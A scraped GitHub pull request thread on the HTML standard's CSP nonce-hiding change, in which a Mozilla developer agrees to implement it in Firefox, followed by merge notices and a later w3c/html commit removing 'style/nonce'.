ckerschb Nov 22, 2017

@ckerschb filed the Mozilla bug a while ago, perhaps he has opinions (or @dveditz?).

We are fine with the nonce hiding approach and we are going to implement it in Firefox, though it's in our backlog at the moment. We hope to get around and implement that change soonish though.

ckerschb commented Nov 22, 2017

@ckerschb filed the Mozilla bug a while ago, perhaps he has opinions (or @dveditz?).

We are fine with the nonce hiding approach and we are going to implement it in Firefox, though it's in our backlog at the moment. We hope to get around and implement that change soonish though.

@annevk annevk merged commit 19f5cce into master Nov 22, 2017

1 check passed

continuous-integration/travis-ci/pr The Travis CI build passed
Details

@annevk annevk deleted the nonce-hiding branch Nov 22, 2017

edent added a commit to w3c/html that referenced this pull request Feb 17, 2018

Removing `style/nonce`
This was originally added by #387 in response to #186 and was ported over from whatwg/html@882803c

We currently don't have a `style/nonce` nor `script/nonce`- neither do WHATWG.

`nonce` is already covered by `global`.

* Re whatwg/html#2373
* Re https://github.com/whatwg/html/pull/2373/files#r117354683
* Fixes #1215
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment